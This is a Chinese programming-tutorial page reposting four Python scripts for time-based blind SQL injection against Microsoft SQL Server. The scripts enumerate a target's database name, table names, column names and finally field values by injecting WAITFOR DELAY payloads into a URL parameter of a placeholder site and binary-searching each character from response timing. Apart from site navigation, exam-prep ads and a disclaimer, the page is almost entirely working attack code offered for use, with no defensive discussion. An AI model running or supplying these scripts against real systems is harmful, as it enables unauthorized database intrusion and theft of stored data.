文章详情

短信预约信息系统项目管理师 报名、考试、查分时间动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

SQL server 时间盲注脚本

2021-05-21 02:25

关注

SQL server 时间盲注脚本[数据库教程]

一、爆破当前数据库名

#coding:utf-8
 
import requests
import time
import string
import sys
 
headers = {"user-agent":"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"}
#chars = ‘0123456789.@_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz‘
databases = []
length = []


for l in range(1,50):
    lengthUrl = "http://www.xxxx.com/id.aspx?classify=1‘;if(len((select db_name())))>{0} waitfor delay ‘0:0:1‘ -- "
    lengthUrlFormat = lengthUrl.format(l)
    start_time0 = time.time()
    rsp0 = requests.get(lengthUrlFormat,headers=headers)
    if  time.time() - start_time0 < 2:
        length.append(l)
        print(‘ length is ‘ + str(l))
        break
    else:
        pass
print(length)


databasename = ‘‘
for i in range(1,length[0]+1):
    min_value = 48
    max_value = 122
    mid = (min_value + max_value) // 2
    while(min_value < max_value):
        url = "http://www.xxxx.com/id.aspx?classify=1.aspx?classify=1‘;if(ascii(substring((select db_name()),{0},1)))>{1} waitfor delay ‘0:0:1‘ --"
        urlformat = url.format(i,mid)
        start_time = time.time()
        rsp = requests.get(urlformat,headers=headers)
        if  time.time() - start_time > 2:
            min_value = mid + 1
        else:
            max_value = mid
            pass
        mid = (min_value+max_value)//2
    databasename+=chr(mid)
    print(databasename)
databases.append(databasename)
print(databases)

二、爆破表名

#coding:utf-8
 
import requests
import time
import string
import sys
 
headers = {"user-agent":"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"}
#chars = ‘0123456789.@_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz‘
tables = []
length = []
num = []
num2 = []

for i in range(0,1000):
    tablenum = "http://www.xxxx.com/id.aspx?classify=1‘;if(ascii(substring((select top 1 name from DB..sysobjects where xtype=‘U‘ and name not in (select top {0} name from sys.tables)),1,1)))>0 waitfor delay ‘0:0:1‘ -- "
    tablenumFormat = tablenum.format(i)
    start_time0 = time.time()
    rsp1 = requests.get(tablenumFormat,headers=headers)
    num.append(i)
    num2.append(i)
    if  time.time() - start_time0 < 2:
            break
    else:
        pass
#print(num)
num.pop()

for n in num:
    for l in range(1,50):
        lengthUrl = "http://www.xxxx.com/id.aspx?classify=1‘;if(len((select top 1 name from DB..sysobjects where xtype=‘U‘ and name not in (select top {0} name from sys.tables))))>{1} waitfor delay ‘0:0:1‘ -- "
        lengthUrlFormat = lengthUrl.format(n,l)
        start_time0 = time.time()
        rsp0 = requests.get(lengthUrlFormat,headers=headers)
        if  time.time() - start_time0 < 2:
            length.append(l)
            #print(‘ length is ‘ + str(l))
            break
        else:
            pass
#print(length)

for n in num:
    tablename = ‘‘
    le = num.index(n)
    for i in range(1,length[le]+1):
        min_value = 48
        max_value = 122
        mid = (min_value + max_value) // 2
        while(min_value < max_value):
            url = "http://www.xxxx.com/id.aspx?classify=1‘;if(ascii(substring((select top 1 name from DB..sysobjects where xtype=‘U‘ and name not in (select top {0} name from sys.tables)),{1},1)))>{2} waitfor delay ‘0:0:1‘ --"
            urlformat = url.format(n,i,mid)
            start_time = time.time()
            rsp = requests.get(urlformat,headers=headers)
            if  time.time() - start_time > 2:
                min_value = mid + 1
            else:
                max_value = mid
                pass
            mid = (min_value+max_value)//2
        tablename+=chr(mid)
        #print(tablename)
    tables.append(tablename)
for j in range(0,len(num)):
	print("第%d表名:%s"%(num[j],tables[j]))

三、爆破字段名

#coding:utf-8
 
import requests
import time
import string
import sys
 
headers = {"user-agent":"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"}
#chars = ‘0123456789.@_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz‘
tables = []
length = []
num = []
num2 = []

for i in range(0,1000):
    tablenum = "http://www.xxxx.com/id.aspx?classify=1‘;if(ascii(substring((select top 1 name from DB..syscolumns  Where id=Object_Id(‘表名‘) and name not in (select top {0} name from DB..syscolumns Where id=Object_Id(‘表名‘))),1,1)))>0 waitfor delay ‘0:0:1‘ -- "
    tablenumFormat = tablenum.format(i)
    start_time0 = time.time()
    rsp1 = requests.get(tablenumFormat,headers=headers)
    num.append(i)
    num2.append(i)
    if  time.time() - start_time0 < 2:
            break
    else:
        pass
print(num)
num.pop()

for n in num:
    for l in range(1,50):
        lengthUrl = "http://www.xxxx.com/id.aspx?classify=1‘;if(len((select top 1 name from DB..syscolumns Where id=Object_Id(‘表名‘) and name not in (select top {0} name from DB..syscolumns Where id=Object_Id(‘表名‘)))))>{1} waitfor delay ‘0:0:1‘ -- "
        lengthUrlFormat = lengthUrl.format(n,l)
        start_time0 = time.time()
        rsp0 = requests.get(lengthUrlFormat,headers=headers)
        if  time.time() - start_time0 < 2:
            length.append(l)
            print(‘ length is ‘ + str(l))
            break
        else:
            pass
print(length)

for n in num:
    tablename = ‘‘
    le = num.index(n)
    for i in range(1,length[le]+1):
        min_value = 48
        max_value = 122
        mid = (min_value + max_value) // 2
        while(min_value < max_value):
            url = "http://www.xxxx.com/id.aspx?classify=1‘;if(ascii(substring((select top 1 name from DB..syscolumns Where id=Object_Id(‘表名‘) and name not in (select top {0} name from DB..syscolumns Where id=Object_Id(‘表名‘))),{1},1)))>{2} waitfor delay ‘0:0:1‘ -- "
            urlformat = url.format(n,i,mid)
            start_time = time.time()
            rsp = requests.get(urlformat,headers=headers)
            if  time.time() - start_time > 2:
                min_value = mid + 1
            else:
                max_value = mid
                pass
            mid = (min_value+max_value)//2
        tablename+=chr(mid)
        print(tablename)
    tables.append(tablename)
for j in range(0,len(num)):
    print("第%d列名:%s"%(num[j],tables[j]))

四、爆破字段值

#coding:utf-8
 
import requests
import time
import string
import sys
 
headers = {"user-agent":"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"}
#chars = ‘0123456789.@_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz‘
tables = []
length = []
num = []
num2 = []

for i in range(0,1000):
    tablenum = "http://www.xxxx.com/id.aspx?classify=1‘;if(ascii(substring((select top 1 字段名 from DB..表名 where Account not in (select top {0} 字段名 from DB..表名)),1,1)))>0 waitfor delay ‘0:0:1‘ -- "
    tablenumFormat = tablenum.format(i)
    start_time0 = time.time()
    rsp1 = requests.get(tablenumFormat,headers=headers)
    num.append(i)
    num2.append(i)
    if  time.time() - start_time0 < 2:
            break
    else:
        pass
print(num)
num.pop()

for n in num:
    for l in range(1,20):
        lengthUrl = "http://www.xxxx.com/id.aspx?classify=1‘;if(len((select top 1 字段名 from DB..表名 where Account not in (select top {0} 字段名 from DB..表名))))>{1} waitfor delay ‘0:0:1‘ -- "
        lengthUrlFormat = lengthUrl.format(n,l)
        start_time0 = time.time()
        rsp0 = requests.get(lengthUrlFormat,headers=headers)
        if  time.time() - start_time0 < 2:
            length.append(l)
            print(‘ length is ‘ + str(l))
            break
        else:
            pass
print(length)

for n in num:
    tablename = ‘‘
    le = num.index(n)
    for i in range(1,length[le]+1):
        min_value = 48
        max_value = 122
        mid = (min_value + max_value) // 2
        while(min_value < max_value):
            url = "http://www.xxxx.com/id.aspx?classify=1‘;if(ascii(substring((select top 1 字段名 from DB..表名 Where Account not in (select top {0} 字段名 from DB..表名)),{1},1)))>{2} waitfor delay ‘0:0:1‘ -- "
            urlformat = url.format(n,i,mid)
            start_time = time.time()
            rsp = requests.get(urlformat,headers=headers)
            if  time.time() - start_time > 2:
                min_value = mid + 1
            else:
                max_value = mid
                pass
            mid = (min_value+max_value)//2
        tablename+=chr(mid)
        print(tablename)
    tables.append(tablename)
for j in range(0,len(num)):
    print("第%d值:%s"%(num[j],tables[j]))

SQL server 时间盲注脚本

原文:https://www.cnblogs.com/sakura521/p/14988486.html

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-数据库
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯